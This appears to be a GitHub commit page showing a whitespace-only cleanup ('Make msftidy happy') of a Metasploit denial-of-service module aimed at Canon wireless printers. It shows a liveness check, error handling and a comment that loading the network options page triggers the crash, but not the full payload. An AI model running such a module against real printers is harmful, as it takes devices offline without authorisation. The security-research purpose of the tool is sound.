Skip to content

Commit 7d15dc3

Browse files
committed
Make msftidy happy
1 parent 0533ca6 commit 7d15dc3

File tree

1 file changed

+8
-8
lines changed

1 file changed

+8
-8
lines changed

modules/auxiliary/dos/http/canon_wireless_printer.rb

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -32,14 +32,14 @@ def initialize(info = {})
3232
'DisclosureDate' => 'Jun 18 2013'))
3333
end
3434

35-
def is_alive?
35+
def is_alive?
3636
res = send_request_raw({
3737
'method' => 'GET',
3838
'uri' => '/',
3939
},10)
40-
40+
4141
return !res.nil?
42-
end
42+
end
4343

4444
def run
4545

@@ -73,7 +73,7 @@ def run
7373

7474
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
7575
print_error("Couldn't connect to #{rhost}:#{rport}")
76-
return
76+
return
7777
end
7878

7979
# The second request will load the network options page, which seems to trigger the DoS
@@ -84,10 +84,10 @@ def run
8484

8585
# Check to see if it worked or not
8686
if is_alive?
87-
print_error("#{rhost}:#{rport} - Server is still alive")
88-
else
89-
print_good("#{rhost}:#{rport} - Connection Refused: Success!")
90-
end
87+
print_error("#{rhost}:#{rport} - Server is still alive")
88+
else
89+
print_good("#{rhost}:#{rport} - Connection Refused: Success!")
90+
end
9191

9292
end
9393
end

0 commit comments

Comments
 (0)